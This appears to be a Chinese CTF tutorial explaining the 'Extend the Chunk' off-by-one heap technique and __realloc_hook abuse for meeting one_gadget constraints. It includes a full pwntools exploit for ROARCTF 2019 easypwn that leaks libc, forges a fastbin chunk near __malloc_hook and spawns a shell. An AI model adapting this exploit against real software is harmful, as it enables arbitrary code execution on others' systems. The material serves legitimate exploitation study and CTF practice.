pwn学习系列之Extend the chunk及realloc_hook利用
字数 1347 2025-08-24 23:51:15
Extend the Chunk及realloc_hook利用技术详解
1. Extend the Chunk技术原理
Extend the Chunk是一种利用堆漏洞(如off-by-one)构造重叠堆块(overlap chunk)的技术,通过修改堆块大小字段实现堆块扩展。
1.1 利用条件
- 存在off-by-one等堆溢出漏洞
- 能够控制堆块的大小字段
1.2 利用步骤
-
堆块布局
- 申请三个连续堆块A、B、C,大小分别为sizeA、sizeB、sizeC
- 通过A的溢出漏洞修改B的size字段为sizeB+sizeC
-
释放堆块
- 释放B块,此时根据修改后的size(sizeB+sizeC)检查C块的inuse位
- 若C块被使用,检查通过,B块被放入bins中
-
构造重叠堆块
- 释放C块
- 申请sizeB+sizeC大小的堆块,获得之前释放的B+C空间
- 此时可以控制C块的fd指针,实现任意地址写
2. realloc_hook利用技术
2.1 背景问题
直接使用execve gadget时可能因栈环境不满足条件而失败,常见约束条件包括:
- rax == NULL
- [rsp+0x30] == NULL
- [rsp+0x50] == NULL
- [rsp+0x70] == NULL
2.2 realloc函数特性
realloc函数执行流程:
- 检查realloc_hook是否为0
- 若不为0,执行realloc_hook内容
- 执行realloc主体函数
2.3 利用方法
- 将execve gadget写入realloc_hook
- 控制程序流从realloc函数中的特定位置开始执行(如realloc+x)
- 通过调整执行起点改变堆栈环境,满足execve执行条件
3. 实例分析:ROARCTF 2019 easypwn
3.1 题目分析
- 保护全开
- 存在堆编辑功能
- sub_E26函数存在off-by-one漏洞
3.2 利用步骤
第一步:泄露libc地址
add(24) #0
add(24) #1
add(56) #2
add(34) #3
add(56) #4
# 利用off-by-one修改chunk1的size
edit(0, 34, 'a'*24 + '\x91')
# 释放chunk1进入unsorted bin
delete(1)
# 重新申请相同大小
add(56) #1
# 显示chunk2内容泄露libc地址
show(2)
address = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
第二步:构造overlap chunk
# 计算libc基址
libc_Addr = address - (0x7ffff7dd1b78 - 0x7ffff7a0d000)
# 计算malloc_hook附近伪造chunk地址
malloc_hook_fkchunk = libc_Addr + 0x3c4aed
# 构造新的堆布局
add(56) #5
add(24) #6 # chunkA
add(24) #7 # chunkB
add(90) #8 # chunkC
add(90) #9
add(24) #10
# 利用off-by-one修改chunkB的size
edit(6, 34, 'a'*24 + '\x91')
# 释放chunkB和chunkC
delete(7)
delete(8)
# 申请合并后的空间
add(110) #7
# 构造fake chunk指向malloc_hook附近
edit(7, 120, 'l'*0x10 + '\x00'*8 + '\x71' + '\x00'*7 + p64(malloc_hook_fkchunk) + '\x00'*70)
第三步:利用realloc_hook执行one_gadget
# 准备one_gadget和realloc相关地址
one = libc_Addr + 0x4526a
ralloc_hook = libc_Addr + a.symbols['__realloc_hook']
realloc = libc_Addr + a.symbols['__libc_realloc']
# 申请伪造的chunk
add(90) #10
add(90) #11 # 获得malloc_hook附近的chunk
# 写入one_gadget和realloc+2到相应位置
edit(11, 100, 'l'*0x3 + p64(0) + p64(one) + p64(realloc+2) + '\x00'*63)
# 触发malloc调用链
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("size:")
p.sendline(str(90))
p.interactive()
3.3 关键点说明
- 伪造chunk的size字段必须满足fastbin的校验要求(如0x7f对应0x70)
- realloc偏移选择需要根据调试确定,+2是常见选择之一
- 内存布局需要精确控制,确保伪造的chunk能通过glibc的校验
4. 调试技巧
- 使用gdb调试观察堆布局变化
- 重点关注:
- 堆块size字段修改后的效果
- bins中chunk的变化
- malloc_hook和realloc_hook的写入时机
- 参考调试命令:
gdb -p <pid> x/20gx <chunk_address> heap bins
5. 防御措施
- 开启所有保护机制(ASLR, NX, Canary等)
- 严格检查堆操作边界
- 及时更新glibc版本
- 使用安全的内存管理函数
6. 扩展学习
- 其他堆利用技术:
- House of系列利用技术
- tcache相关攻击
- unlink攻击
- 不同glibc版本的利用差异
- 更复杂的堆风水技术
通过掌握Extend the Chunk和realloc_hook利用技术,可以应对多种堆漏洞场景,特别是在有严格约束条件下的利用。实际应用中需要根据目标环境进行适当调整和调试。